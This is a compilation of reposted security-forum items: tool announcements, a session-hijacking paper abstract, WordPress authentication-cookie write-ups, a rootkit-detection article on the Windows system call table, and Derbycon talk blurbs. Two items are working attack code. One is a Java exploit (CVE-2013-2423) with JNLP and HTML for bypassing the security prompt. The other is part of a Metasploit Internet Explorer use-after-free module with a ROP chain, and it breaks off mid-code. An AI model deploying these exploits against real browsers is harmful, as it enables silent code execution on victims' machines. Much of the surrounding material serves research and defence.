[h=1]SSLsplit: Tool for man-in-the-middle attacks against SSL/TLS encrypted network connections.[/h] [h=1][/h] SSLsplit is a tool for man-in-the-middle attacks against SSL/TLS encryptednetwork connections. Connections are transparently intercepted through a network address translation engine and redirected to SSLsplit. SSLsplit terminates SSL/TLS and initiates a new SSL/TLS connection to the original destination address, while logging all data transmitted. SSLsplit is intended to be useful for network forensics and penetration testing. SSLsplit supports plain TCP, plain SSL, HTTP and HTTPS connections over both IPv4 and IPv6. For SSL and HTTPS connections, SSLsplit generates and signs forged X509v3 certificates on-the-fly, based on the original server certificate subject DN and subjectAltName extension. SSLsplit fully supports Server Name Indication (SNI) and is able to work with RSA, DSA and ECDSA keys and DHE and ECDHE cipher suites. SSLsplit can also use existing certificates of which the private key is available, instead of generating forged ones. SSLsplit supports NULL-prefix CN certificates and can deny OCSP requests in a generic way. SSLsplit version 0.4.5 released on Nov 07, change logs are - Add support for 2048 and 4096 bit Diffie-Hellman. - Fix syslog error messages (issue #6). - Fix threading issues in daemon mode (issue #5). - Fix address family check in netfilter NAT lookup (issue #4). - Fix build on recent glibc systems (issue #2). - Minor code and build process improvements. [h=3]Download the SSLsplit [/h] Posted 27th November 2012 by BreakTheSec Sursa: Ethical Hacking Software and Security Tools: SSLsplit: Tool for man-in-the-middle attacks against SSL/TLS encrypted network connections.

[h=1]OWASP Joomscan -Joomla vulnerability scanner identifies 673 vulnerabilities [/h] Joomscan is one of penetration testing tool that help to find the vulnerability in Joomla CMS. The Updated version can detects 673 vulnerabilities . Detects file inclusion, sql injection, command execution vulnerabilities of a target Joomla! web site. Downlaod Joomscan How to use Joomscan? Posted 27th November 2012 by BreakTheSec Sursa: Ethical Hacking Software and Security Tools: OWASP Joomscan -Joomla vulnerability scanner identifies 673 vulnerabilities

Malwarebytes Anti-Exploit BETA Protects Internet Explorer, Firefox, Chrome, and Opera browsers Protects browser components, including Java and Flash Defends against drive-by download attacks Shields vulnerable applications Blocks unknown and known exploit kits Support for Windows 8, XP, Vista and 7 (32-bit and 64-bit) Download Now [h=2]Feeling exploited? We have you covered.[/h] Malwarebytes Anti-Exploit BETA protects you from zero-day exploits targeting browser and application vulnerabilities. Its proprietary technology protects you in that critical period between the release of a new exploit and its subsequent security patch. And, unlike antivirus products, Malwarebytes Anti-Exploit BETA proactively prevents the exploit from installing its payload. Before it can do damage. Sursa: Malwarebytes : Malwarebytes Anti-Exploit

One-Time Cookies: Preventing Session Hijacking Attacks with Stateless Authentication Tokens Italo Dacosta, Saurabh Chakradeo, Mustaque Ahamad and Patrick Traynor Converging Infrastructure Security (CISEC) Laboratory Georgia Institute of Technology {idacosta@, schakradeo@, mustaq@cc., traynor@cc.}gatech.edu Abstract HTTP cookies are the de facto mechanism for session authentication in web applications. However, their inherent security weaknesses allow attacks against the integrity of web sessions. HTTPS is often recommended to protect cookies, but deploying full HTTPS support can be challenging due to performance and financial concerns, especially for highly distributed applications. Moreover, cookies can be exposed in a variety of ways even when HTTPS is enabled. In this paper, we propose One-Time Cookies (OTC), a more robust alternative for session authentication. OTC prevents attacks such as session hijacking by signing each user request with a session secret securely stored in the browser. Unlike other proposed solutions, OTC does not require expensive state synchronization in the web application, making it easily deployable in highly distributed systems. We implemented OTC as a plugin for the popular WordPress platform and as an extension for Firefox and Firefox for mobile browsers. Our extensive experimental analysis shows that OTC introduces a latency of less than 6 ms when compared to cookies - a negligible overhead for most web applications. Moreover, we show that OTC can be combined with HTTPS to effectively add another layer of security to web applications. In so doing, we demonstrate that One-Time Cookies can significantly improve the security of web applications with minimal impact on performance and scalability. Download: https://smartech.gatech.edu/jspui/bitstream/1853/42609/1/GT-CS-12-02.pdf

WordPress Session Hijack (Seshn Proof of Concept) So, I recently got an beta invite to the new(ish) website Seshn. I’ve been giving them plenty of feedback via twitter. One of my latest tweets to them, I made a bold claim: Their website is at risk of session hijacks (in theory). Why do I saw this? Well, as it turned out, Seshn is powered by WordPress and if my research serves me correctly, many installations of WordPress are vulnerable to this type of attack without some backend changes. For those of you who don’t know, a session hijack is when I, the bad guy, somehow get a hold of your cookies and then impersonate you (And by impersonate I mean I can be logged in as you without knowing your password.) So, how would this work? My setup for the test was two chrome windows, one in incognito mode. Both have the extention Edit This Cookie installed. On window 1 (The one I am logged in as, if I open edit this cookie I can see the cookies currently on my computer from that website. As you can see, one of those cookies is called “wordpress_logged_in_138ec16e1cd2a6203cb11a99a9cd21b0?. It is marked as a session cookie and it is marked as http only (Which is GOOD. That helps protect against XSS attacks). HOWEVER, it is not secure. (AKA: It is transferred freely with no encryption (plain text). So, if I, the attacker from windows 2 (incognito mode) somehow got a hold of window 1?s cookies (through something like wire tapping), what could I do with them? Let’s find out. So here we are, not logged in. Let’s open up Edit This Cookie, click “Add New Cookie” and add that “wordpress_logged_in_138ec16e1cd2a6203cb11a99a9cd21b0? cookie with the value that we stole from window 1. Save changes…. and voila! Windows 2 is now logged in as window 1! I suppose I could have gone into more detail and showed more screenshots, but it is a “proof of concept” after all. Troy Hunt on Session Hijacking: Troy Hunt: ASP.NET session hijacking with Google and ELMAH Troy Hunt: Is Stack Overflow “secure”? Kind of… Troy Hunt: C is for cookie, H is for hacker – understanding HTTP only and Secure cookies Sursa: WordPress Session Hijack (Seshn Proof of Concept) | Andrew McGivery

[h=3]Jamming With WordPress Sessions[/h] Let’s talk about some targeted attacks where session management can be targeted to side step multi factor authentication. I’ll be focusing on WordPress, a popular website content management system, that also just happens to handle “sessions” in a unique way which makes this a far more interesting discussion. At the time of writing, the current release: WordPress 3.5.1 uses the described method to verify logged in status for accounts. Here’s an example WordPress "session", or authentication cookie: Cookie name: wordpress_81aa6832caa89375bfc354face5f674e Path: /wp-admin Value: admin|1364335563|8b03a400e8e416c4eba7a63f6fd616d1 Once you have the equivalent cookie for a WordPress site (which for most WordPress sites is sent over HTTP, allowing it to be sniffed over an insecure wireless network at a coffee shop or conference) you would be able to go to the site’s admin panel and already be logged in able do whatever you want as that user. Oh, and that snazzy multi factor authentication plugin you’re using? It does nothing! Once you have a valid authentication cookie, WordPress will let you access the site as an authenticated user, without needing to go through the multi-factor authentication process. While I consider it pretty cool to side-step the MFA or authentication steps, I dug a little more in to how WordPress manages these “sessions” and found out a bit more interesting facts. So, let’s get back to the authentication cookie, the first thing we want to do is track down is the name of the cookie, since it’s pretty strange. This turns out to be pretty straightforward; the cookie names are set in wp-includes/default-constants.php. It’s a constant that is set in the code and uses nothing at all, or the md5 of the value of $siteurl, which is the site’s domain name, and inadvertently not hard to generate yourself. Next let’s look over the value. Value: admin|1364335563|8b03a400e8e416c4eba7a63f6fd616d1 This is apparently three values separated by |'s. The "admin" username is obvious, and so is that Unix timestamp. That last value 8b03a400e8e416c4eba7a63f6fd616d1 looks like the magic value that makes the whole system work. So let’s see how it is set and how it is used. Most of the action is in wp-includes/pluggable.php and I’ll start off with a snippet from wp_generate_auth_cookie() that handles setting the cookie’s value. Here you can see how $cookie is set, we can confirm the assumptions of the username, that timestamp is now evidently the session's expiration date, and now we see that the magic value is an md5 HMAC of user login and expiration time as a string, using a secret $key value that was generated by wp_hash(). So, let's look into that wp_hash() Here wp_hash() returns a hash using hash_hmac() as well, but it makes sure to use a salt generated by wp_salt() (it gets a little complicated in the code (but it is all still in pluggable.php) but wp_salt() basically returns the site’s secret salt values.) They provided the wp_hash() function the user login, only 4 characters of the user’s password hash, and the expiration date for the “session”. wp_hash() returns the string from hash_hmac(), but also uses the website’s secret salt values to ensure a confidential string is generated. These salt values are key, as without them it would be trivial to generate your own authentication token. Now we know how WordPress sites generate a session cookie. Let’s look into how they verify a session is valid, as that is where it gets surprising. Instead of storing session information in a session table stored on the server, they perform the same calculations on the cookie provided by the visitor to verify if it is valid. The site accepts the browser’s cookie values, then using the provided username + timestamp it calculates the token value using it’s secret salts and sees if the generated token matches the supplied token value. We can look up the wp_validate_auth_cookie() function in pluggable.php to see for yourself. Spoiler alert: it looks basically the same as the cookie generation function but with comparisons. You can see $hash is generated in the same way (re-using the same code, and using values form the cookie provided by the browser) and then compared against $hmac (which was pulled earlier from the cookie values) – if they do not match you get some “auth_cookie_bad_hash” action, if they do match you’ll get “auth_cookie_valid”. The entire session management in WordPress hinges on 2 secret values: The site’s salts, and only 4 characters of the user’s password hash. While this should prevent against brute force attacks, there are still multiple ways this method of authentication/session management can be a abused by an attacker: Lack of session management on the server Ability to create sessions without evidence left on the site This functionality has been in WordPress for a long time (since 2.x versions) and I’m not the first to talk about it. Independent researchers have discussed it and there is a formal CVE regarding the concern of session hijacking with Wordpress sites. Just about a year ago, an independent researcher Gennady Kovshenin (@soulseekah) wrote their findings about it in great detail Why WordPress Authentication Unique Keys and Salts Are Important CVE-2012-5868 Session Replay attacks against WordPress (Reported December 2012) At the time of writing this post, WordPress has yet to addressed this concern. I have discussed it with their security team, and while their response was respectful they informed me they have no immediate plans to enact a fix. In the meantime they recommend using HTTPS for your WordPress login page. (That is, presuming you have HTTPS setup on your WordPress site.) Let us discuss those attacks: I will skip going over session hijacking or replay attacks in depth (these have been covered elsewhere plenty of times.) To summarize: If you log in to a WordPress powered website using an insecure connection, someone else on the network could sniff the cookies sent to your browser. They could then use the captured cookies to access the site. Programs like Firesheep have popularized this type of attack. The lack of session management on the server and the ability to generate valid authentication cookies provides a unique scenario for attackers. They can generate “irrevocable” and undetectable valid session cookies. I say “irrevocable” because there are no documented ways to revoke your site’s authentication cookies. Knowing the code above, you may be able to see how: In order to invalidate a WordPress authentication cookie you have only two options. Change the user’s password, or update the site’s secret salts. Unfortunately, there are no easy ways to generate new secret salts in WordPress core. How about a hypothetical scenario to make this a little more interesting though? In this scenario we will say an attacker was able to gain access to, or guess the site’s secret salt values. They would then be able to generate their own valid login cookies that expire at arbitrary times. There would be no evidence that the sessions had been generated and no way the site owner would know these valid authentication cookies were created. Here is a working proof of concept that will iterate through the site’s users and generate valid authentication cookies for each user, and that expire in 2113. Of course, this is purely the hypothetical scenario where the attacker may have access to your site’s secrets. However, this is true in a post-compromise scenario. If the attackers were able to break into your site, they could leave it untouched and just generate authentication cookies to allow them access to your site later (even after you’ve patched the vulnerability that allowed them access.) This is why any reputable article related to a hacked WordPress site will always inform you to change your site’s secret salts and passwords after a compromise. This step is required to invalidate any session cookies attackers may have created for themselves. To summarize: Even with Multi-Factor Authentication, the authentication step can be bypassed if session ID cookies are not protected. Storing session information on the server will allow you to monitor and disable sessions. This is extremely important in the event of a breach. I hope this post was informative and has made you more aware of the special bond between session management and authentication. Posted by Robert Rowley on 02 April 2013 at 11:13 Sursa: Jamming With WordPress Sessions - SpiderLabs Anterior

[h=3]Auditing the System Call Table[/h]When malicious, kernel-level code is installed on the system, one action it may take is to hook various system services. What this means is that it takes some standard piece of operating system functionality and replaces it with its own code, allowing it to alter the way all other programs use the OS. For example, it may hook functions involved in opening registry keys, and modify their output so as to hide registry keys the rootkit uses. As system calls are the primary interface between user and kernel mode, the system call table is a popular place to do such hooking. It's worth noting that many security products also make heavy use of hooking. One common example is antivirus software; among the many functions it hooks is NtCreateProcess (used, as the name suggests, to start a new process) so that it can do its on-demand scanning of any newly launched programs. For this reason, it's not safe to assume that any hooking of system calls is malicious; in fact, some of the most suspicious-looking things initially often turn out to be security software. Still, it may be quite useful to be able to examine the system call table of a memory image during an investigation, in order to detect any hooks that shouldn't be there. To do this, we'll first look at how system calls work in Windows and lay out the data structures that are involved. I'll then describe a Volatility plugin that examines each entry in the system call table, gives its symbolic name, and then tells what kernel module owns the function it points to. If you want to skip the learning experience and get straight to the plugin, you can download it here and place it in your memory_plugins directory. You'll also need to get my library for list walking and place it in "forensics/win32". If you look at any of the native API functions, like ZwCreateFile, you'll notice that they all look almost identical: lkd> u nt!ZwCreateFile nt!ZwCreateFile: 804fd724 b825000000 mov eax,25h 804fd729 8d542404 lea edx,[esp+4] 804fd72d 9c pushfd 804fd72e 6a08 push 8 804fd730 e83cf10300 call nt!KiSystemService (8053c871) 804fd735 c22c00 ret 2Ch We see that the function just places the value 0x25 into eax, points edx at the stack, and calls nt!KiSystemService. It turns out that this value, 0x25, is the system call number that corresponds to the CreateFile function. Without going into too much detail about how KiSystemService works, the function essentially takes the value in the eax register, and then looks up that entry in a global system call table. The table contains function pointers to the actual kernel-land functions that implement that system call. But, of course, the situation isn't quite as simple as that. In fact, Windows is designed to allow third party developers to add their own system calls. To support this, each _KTHREAD contains a member named ServiceTable which is a pointer to a data structure that looks like this: typedef struct _SERVICE_DESCRIPTOR_TABLE { SERVICE_DESCRIPTOR_ENTRY Descriptors[4]; } SERVICE_DESCRIPTOR_TABLE; typedef struct _SERVICE_DESCRIPTOR_ENTRY { PVOID KiServiceTable; PULONG CounterBaseTable; LONG ServiceLimit; PUCHAR ArgumentTable; } SERVICE_DESCRIPTOR_ENTRY; As you can see, we can actually have up to four separate system service tables per thread! In practice, however, we only see the first two entries in this array filled in: the first one points to nt!KiServiceTable, which contains the functions that deal with standard OS functionality, and the second points to win32k!W32pServiceTable, which contains the functions for the GDI subsystem (managing windows, basic graphics functions, and so on). For system call numbers up to 0x1000, the first table is used, while for the range 0x1000-0x2000 the second table is consulted (this may generalize for 0x2000-0x3000 and 0x3000-0x4000, but I haven't tested it). To take a look at the contents of these two tables, we can use the dps command in WinDbg, which takes a memory address and then attempts to look up the symbolic name of each DWORD starting at that address. To examine the full table, you should pass dps the number of DWORDS you want to examine -- the exact number will be the value found in the ServiceLimit member for the table you're interested in. For example: lkd> dps nt!KiServiceTable L11c 805011fc 80598746 nt!NtAcceptConnectPort 80501200 805e5914 nt!NtAccessCheck 80501204 805e915a nt!NtAccessCheckAndAuditAlarm 80501208 805e5946 nt!NtAccessCheckByType [...] 8050128c 8060be48 nt!NtCreateEventPair 80501290 8056d3ca nt!NtCreateFile 80501294 8056bc5c nt!NtCreateIoCompletion [...] Note that NtCreateFile is the 0x25th entry in the table, as we expected. On a system with no hooks installed, all functions in nt!KiServiceTable will point into the kernel (ntoskrnl.exe), and all functions in win32k!W32pServiceTable will be be inside win32k.sys. If they don't, it means the function has been hooked. The plugin for Volatility, then, works as follows. First, we go over each thread in each process, and gather up all distinct pointers to service tables. We examine all of them in case one thread has had its ServiceTable changed while the others remain untouched. Then we display each entry in each (unique) table, along with the name it usually has (in an unhooked installation), and what driver the function belongs to. Here's some sample output: $ python volatility ssdt -f xp-laptop-2005-07-04-1430.img Gathering all referenced SSDTs from KTHREADs... Finding appropriate address space for tables... SSDT[0] at 804e26a8 with 284 entries Entry 0x0000: 0x805862de (NtAcceptConnectPort) owned by ntoskrnl.exe Entry 0x0001: 0x8056fded (NtAccessCheck) owned by ntoskrnl.exe Entry 0x0002: 0x8058945b (NtAccessCheckAndAuditAlarm) owned by ntoskrnl.exe [...] Entry 0x0035: 0xf87436f0 (NtCreateThread) owned by wpsdrvnt.sys [...] SSDT[1] at bf997780 with 667 entries Entry 0x1000: 0xbf93517d (NtGdiAbortDoc) owned by win32k.sys Entry 0x1001: 0xbf946c1f (NtGdiAbortPath) owned by win32k.sys [...] Here we can see that the NtCreateThread function has been hooked by wpsdrvnt.sys. A little Googling shows that this driver is a part of Sygate Personal Firewall -- as mentioned before, security products are the most common non-malicious software that hooks kernel functions. In closing, I should mention one caveat to using this tool: at the moment, the names of the system calls are hardcoded with the values derived from WinDbg on Windows XP SP2. As demonstrated by the Metasploit System Call Table page, the order and number of entries in the system call table change between different versions of Windows, so make sure that you only analyze SP2 images with this plugin! As always, patches are welcome if you want to adapt this to deal with other versions of Windows. Now go forth, and catch those rootkits! Sursa: Push the Red Button: Auditing the System Call Table

[h=1]The Internal Structure of the Windows Registry[/h] [h=2]Peter Norris BSc (Hons), MBCS February 2009[/h] [TABLE=width: 90%, align: center] [TR] [TD=width: 5%] [/TD] [TD=align: center]This web page contains the full report of this MSc project complete with the source code to all the programs and utilities that were produced. It is reproduced and made available here in support of the Computer Forensic community in particular and of knowledge in general. This material is copyright Cranfield University.[/TD] [TD=width: 5%] [/TD] [/TR] [TR] [TD=colspan: 3] [/TD] [/TR] [TR] [TD=width: 5%] [/TD] [TD=align: center]As from 16th August 2012 these files are on Google Docs[/TD] [TD=width: 5%] [/TD] [/TR] [/TABLE] [TABLE=align: center] [TR] [TD]Complete Project CD (iso)[/TD] [TD] [/TD] [TD=align: right]113,102 KB[/TD] [TD] [/TD] [TD]413a2d2bac78a94c720333ef95b62f89[/TD] [/TR] [TR] [TD] [/TD] [TD] [/TD] [TD] [/TD] [TD] [/TD] [TD] [/TD] [/TR] [TR] [TD]Registry Structure - Main (pdf)[/TD] [TD] [/TD] [TD=align: right]580 KB[/TD] [TD] [/TD] [TD]02c18554d79b3359b7b49df4e8f0db1d[/TD] [/TR] [TR] [TD]Registry Structure - Appendices (pdf)[/TD] [TD] [/TD] [TD=align: right]2,740 KB[/TD] [TD] [/TD] [TD]34a715b99c9bc1e37b5d02509a783997[/TD] [/TR] [TR] [TD]Registry Structure - Supplements (pdf)[/TD] [TD] [/TD] [TD=align: right]20,535 KB[/TD] [TD] [/TD] [TD]030152b15d7ba940ac079fb47b07e32c[/TD] [/TR] [TR] [TD] [/TD] [TD] [/TD] [TD] [/TD] [TD] [/TD] [TD] [/TD] [/TR] [TR] [TD]Programs (zip)[/TD] [TD] [/TD] [TD=align: right]273 KB[/TD] [TD] [/TD] [TD]ef063348b863c85feb30fecd4080c62f[/TD] [/TR] [TR] [TD]Source Code (zip)[/TD] [TD] [/TD] [TD=align: right]3,859 KB[/TD] [TD] [/TD] [TD]82e9afb62316bcb13a94b9108b9626ff[/TD] [/TR] [/TABLE] [TABLE=width: 90%, align: center] [TR] [TD=width: 5%] [/TD] [TD=align: center]I am more than happy to answer questions about this project or enter into discussions or debates about this subject. I can be contacted by email at 'registry at suzibandit dot co dot uk'. Peter Norris May 2009[/TD] [/TR] [/TABLE] Sursa: Registry Structure

[h=2]DNS Sniffer utility[/h] DNSQuerySniffer is a new network sniffer utility that shows the DNS queries sent on your system. For every DNS query, the following information is displayed: Host Name, Port Number, Query ID, Request Type (A, AAAA, NS, MX, and so on), Request Time, Response Time, Duration, Response Code, Number of records, and the content of the returned DNS records. You can easily export the DNS queries information to csv/tab-delimited/xml/html file, or copy the DNS queries to the clipboard, and then paste them into Excel or other spreadsheet application. DNSQuerySniffer works on any version of Windows, starting from Windows 2000, and up to Windows 8. Both 32-bit and 64-bit systems are supported. DNSQuerySniffer You can download this new utility from this Web page. Sursa: New DNS Sniffer utility

The Latest Java Exploit with Security Prompt/Warning Bypass (CVE-2013-2423) From Java SE 7 update 11 oracle has introduced a new security features called security warning that prompts a window every time an applet request for execution. For example, if we want to execute latest Java SE 7 update 17 exploit we get this warning. Yesterday Immunity has published a blog post explaining a new vulnerability they have found into the java validating mechanism which allow to execute an untrusted applet without showing the warning. For in-dept details read their blog post here. Briefly, to bypass the above prompt you must call the applet with the parameter __applet_ssv_validated set to true. The only way to manipulate this parameter is to use a java Network Launch Protocol file. Regarding to oracle there are two ways to use JNLP in a page: With the applet tag With javascript only Let's try first the example with the tag applet. The code we're going to run is the latest publicly available java exploit CVE-2013-2423. import java.applet.Applet;import java.lang.invoke.MethodHandle; import java.lang.reflect.Field; import static java.lang.invoke.MethodHandles.lookup; public class Code extends Applet { public void init() { try { disableSecurityManager(); Runtime.getRuntime().exec("calc.exe"); } catch( Throwable e ){} } class Union1 { int field1; Object field2; } class Union2 { int field1; SystemClass field2; } class SystemClass { Object f1,f2,f3,f4,f5,f6,f7,f8,f9,f10,f11,f12, f13,f14,f15,f16,f17,f18,f19,f20,f21,f22,f23, f24,f25,f26,f27,f28,f29,f30; } private void disableSecurityManager() throws Throwable { MethodHandle mh1, mh2; mh1 = lookup().findStaticSetter(Double.class, "TYPE", Class.class); mh2 = lookup().findStaticSetter(Integer.class, "TYPE", Class.class); Field fld1 = Union1.class.getDeclaredField("field1"); Field fld2 = Union2.class.getDeclaredField("field1"); Class classInt = int.class; Class classDouble = double.class; mh1.invokeExact(int.class); mh2.invokeExact((Class)null); Union1 u1 = new Union1(); u1.field2 = System.class; Union2 u2 = new Union2(); fld2.set(u2, fld1.get(u1)); mh1.invokeExact(classDouble); mh2.invokeExact(classInt); if (u2.field2.f29 == System.getSecurityManager()) { u2.field2.f29 = null; } else if (u2.field2.f30 == System.getSecurityManager()) { u2.field2.f30 = null; } } } After created the jar in order to deploy an applet we have to create the JNPL and save it as applet.jnlp. <?xml version="1.0" encoding="utf-8"?> <jnlp href="applet.jnlp" spec="1.0" xmlns:jfx="http://javafx.com"> <information> <title>Applet Test JNLP</title> <vendor>test</vendor> </information> <resources> <j2se href="http://java.sun.com/products/autodl/j2se" version="1.7+" /> <jar href="cve-2013-2423.jar" main="true" /> </resources> <applet-desc height="1" main-class="Code" name="Applet Security Bypass" width="1"> <param name="__applet_ssv_validated" value="true" /> </applet-desc> </jnlp> Now we have to encode the content of applet.jnlp to a base64 string. To do this you could use an online tool like base64encode.org or the unix base64 command: ? [TABLE] [TR] [TD=class: gutter]1[/TD] [TD=class: code]base64 applet.jnlp [/TD] [/TR] [/TABLE] As final thing create the page where the applet tag should reside. The value of parameter jnlp_embedded would be the base64 string of applet.jnlp. - See more at: Security Obscurity Blog: The Latest Java Exploit with Security Prompt/Warning Bypass (CVE-2013-2423) Now we have to encode the content of applet.jnlp to a base64 string. To do this you could use an online tool like base64encode.org or the unix base64 command: base64 applet.jnlp As final thing create the page where the applet tag should reside. The value of parameter jnlp_embedded would be the base64 string of applet.jnlp <html> <body> <h3>Java SE 7 u17 Exploit with Applet Prompt/Warning Bypass</h3> <applet> <param name="jnlp_href" value="applet.jnlp" /> <param name="jnlp_embedded" value="PD94bZX ... zYz4KPPg==" /> </applet> </body> </html> After saving all these files in the same directory we try to load the page with firefox to check if it works. It works perfectly, no security warning prompted. But if you try to see the page with chrome the applet will not be loaded. I think because chrome doesn't like jnlp files. The second option is to use JavaScript instead of the tag applet. The first step is to create the jnlp file as before, then encode it to base64. Which differs from the previous method is the last step, that will look like this: <html> <head> <title>CVE-2013-2423 Bypass Prompt</title> </head> <body> <h3>Java SE 7 u17 Exploit with Applet Prompt/Warning Bypass</h3> <script src="http://www.java.com/js/deployJava.js" ></script> <script> var attributes = { height: 1, width: 1}; var parameters = { jnlp_href: 'applet.jnlp', jnlp_embedded: 'PD94 ... Pg==' }; deployJava.runApplet(attributes, parameters, '1.7'); </script> </body> </html> Loading the page with chrome, firefox, ie and opera shows that it works. As usual here is the video. Enjoy. Reference: What should I do when I see a security prompt from Java? Yet Another java security warning bypass Embedding JNLP File in Applet Tag Sursa: Security Obscurity Blog: The Latest Java Exploit with Security Prompt/Warning Bypass (CVE-2013-2423)

Derbycon 2013 - Look Ma, No Exploits! – The Recon-Ng Framework - Tim “Lanmaster53? Tomes Description: Description: I’ve been on the conference circuit for the last year preaching the importance of thorough reconnaissance as a part of the penetration testing methodology. I’ve talked about the principles of reconnaissance, how to accomplish it quickly and effectively, and even released a few tools to help along the way. In my latest tool, the Recon-ng framework, the power of reconnaissance has been taken to a new level. In this talk, I am going to discuss and demonstrate the power of the Recon-ng framework by walking attendees through a live reconnaissance scenario which starts with the tester having nothing but the framework, and ends in the tester gaining credentials to the target environment. All without sending a single packet to the target network. Come a skeptic. Leave a believer. Reconnaissance is king. Bio: Tim Tomes is a Senior Security Consultant, Research Specialist, and Developer for Black Hills Information Security with over 20 years experience in information technology and application development. During a 9-year career as an Officer in the United States Army, Tim spent three years as the Army Red Team Senior Team Leader and was the principle developer and manager of the Army’s first Cyber Defense Training Program (255S). Tim manages multiple open source projects such as the Recon-ng framework, the HoneyBadger Geolocation framework, and PushPin, is a SANS Instructor for SEC542 Web Application Penetration Testing, writes technical articles for PaulDotCom, and frequently presents at Security Conferences such as ShmooCon, DerbyCon, Hack3rCon, and Regional ISSA Conferences. For More Information please visit : - Derbycon 2013 Videos (Hacking Illustrated Series InfoSec Tutorial Videos) Sursa: Derbycon 2013 - Look Ma, No Exploits! – The Recon-Ng Framework - Tim “Lanmaster53? Tomes

Derbycon 2013 - Practical Exploitation Using A Malicious Service Set Identifier (Ssid) - Deral Heiland Description: Description: How easily we overlook a simple wireless SSID and think nothing of it or its potential risk to us. In this presentation I will be discussing the leveraging of SSIDs to inject various attacks into Wireless devices, and management consoles. The type of injection attacks discussed will include XSS, CSRF, command injection and format strings attacks. I will be discussing various malicious SSID restrictions, limitations, and potential attack success dependencies. Using live demonstrations I will show how each of these attack methods are carried out. In Conclusion I will be discussing how common this attack vector potentially is, and its overall risk factors. Bio: Deral Heiland CISSP, serves as a Senior Security Engineer where he is responsible for security assessments, and consulting for corporations and government agencies. Deral is also founder of Ohio Information Security Forum a not for profit organization that focuses on information security training and education. Deral has also presented at numerous national and international security conferences including Blackhat, ShmooCon, Defcon, Securitybyte India, Hackcon Olso Norway and has also been a guest lecturer at the Airforce Institute of Technology (AFIT). Deral has been interviewed by and quoted by several media outlets and publications including Bloomberg UTV, MIT Technical Review, MSNBC and PCworld. For More Information please visit : - Derbycon 2013 Videos (Hacking Illustrated Series InfoSec Tutorial Videos) Sursa: Derbycon 2013 - Practical Exploitation Using A Malicious Service Set Identifier (Ssid) - Deral Heiland

Microsoft Internet Explorer SetMouseCapture Use-After-Free Authored by sinn3r, temp66 | Site metasploit.com This Metasploit module exploits a use-after-free vulnerability that targets Internet Explorer 9 on Windows 7. The flaw most likely exists in versions 6/7/8/9/10/11. It was initially found in the wild in Japan, but other regions such as English, Chinese, Korean, etc, were targeted as well. The vulnerability is due to how the mshtml!CDoc::SetMouseCapture function handles a reference during an event. An attacker first can setup two elements, where the second is the child of the first, and then setup a onlosecapture event handler for the parent element. The onlosecapture event seems to require two setCapture() calls to trigger, one for the parent element, one for the child. When the setCapture() call for the child element is called, it finally triggers the event, which allows the attacker to cause an arbitrary memory release using document.write(), which in particular frees up a 0x54-byte memory. The exact size of this memory may differ based on the version of IE. After the free, an invalid reference will still be kept and passed on to more functions, eventually arriving in function MSHTML!CTreeNode::GetInterface, and causing a crash (or arbitrary code execution) when this function attempts to use this reference to call what appears to be a PrivateQueryInterface due to the offset (0x00). To mimic the same exploit found in the wild, this module will try to use the same DLL from Microsoft Office 2007 or 2010 to leverage the attack. ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info={}) super(update_info(info, 'Name' => "Micorosft Internet Explorer SetMouseCapture Use-After-Free", 'Description' => %q{ This module exploits a use-after-free vulnerability that currents targets Internet Explorer 9 on Windows 7, but the flaw should exist in versions 6/7/8/9/10/11. It was initially found in the wild in Japan, but other regions such as English, Chinese, Korean, etc, were targeted as well. The vulnerability is due to how the mshtml!CDoc::SetMouseCapture function handles a reference during an event. An attacker first can setup two elements, where the second is the child of the first, and then setup a onlosecapture event handler for the parent element. The onlosecapture event seems to require two setCapture() calls to trigger, one for the parent element, one for the child. When the setCapture() call for the child element is called, it finally triggers the event, which allows the attacker to cause an arbitrary memory release using document.write(), which in particular frees up a 0x54-byte memory. The exact size of this memory may differ based on the version of IE. After the free, an invalid reference will still be kept and pass on to more functions, eventuall this arrives in function MSHTML!CTreeNode::GetInterface, and causes a crash (or arbitrary code execution) when this function attempts to use this reference to call what appears to be a PrivateQueryInterface due to the offset (0x00). To mimic the same exploit found in the wild, this module will try to use the same DLL from Microsoft Office 2007 or 2010 to leverage the attack. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # Exploit in the wild first spotted in Japan 'sinn3r' # Metasploit (thx binjo for the heads up!) ], 'References' => [ [ 'CVE', '2013-3893' ], [ 'OSVDB', '97380' ], [ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2887505' ], [ 'URL', 'http://blogs.technet.com/b/srd/archive/2013/09/17/cve-2013-3893-fix-it-workaround-available.aspx' ] ], 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'IE 9 on Windows 7 SP1 with Microsoft Office 2007 or 2010', {} ] ], 'Payload' => { 'BadChars' => "\x00", 'PrependEncoder' => "\x81\xc4\x80\xc7\xfe\xff" # add esp, -80000 }, 'DefaultOptions' => { 'PrependMigrate' => true, 'InitialAutoRunScript' => 'migrate -f' }, 'Privileged' => false, 'DisclosureDate' => "Sep 17 2013", 'DefaultTarget' => 0)) end def is_win7_ie9?(agent) (agent =~ /MSIE 9/ and agent =~ /Windows NT 6\.1/) end def get_preq_html(cli, req) %Q| <html> <script> function getDLL() { var checka = 0; var checkb = 0; try { checka = new ActiveXObject("SharePoint.OpenDocuments.4"); } catch (e) {} try { checkb = new ActiveXObject("SharePoint.OpenDocuments.3"); } catch (e) {} if ((typeof checka) == "object" && (typeof checkb) == "object") { return "office2010"; } else if ((typeof checka) == "number" && (typeof checkb) == "object") { return "office2007"; } return "na"; } window.onload = function() { document.location = "#{get_resource}/#{@exploit_page}?dll=" + getDLL(); } </script> </html> | end def junk return rand_text_alpha(4).unpack("V")[0].to_i end def get_payload(rop_dll) code = payload.encoded rop = '' p = '' case rop_dll when :office2007 rop = [ junk, # Alignment 0x51c46f91, # POP EBP # RETN [hxds.dll] 0x51c46f91, # skip 4 bytes [hxds.dll] 0x51c35a4d, # POP EBX # RETN [hxds.dll] 0xffffffff, 0x51bd90fd, # INC EBX # RETN [hxds.dll] 0x51bd90fd, # INC EBX # RETN [hxds.dll] 0x51bfa98e, # POP EDX # RETN [hxds.dll] 0xffffefff, 0x51c08b65, # XCHG EAX, EDX # RETN [hxds.dll] 0x51c1df88, # NEG EAX # RETN [hxds.dll] 0x51c55c45, # DEC EAX, RETN [hxds.dll] 0x51c08b65, # XCHG EAX, 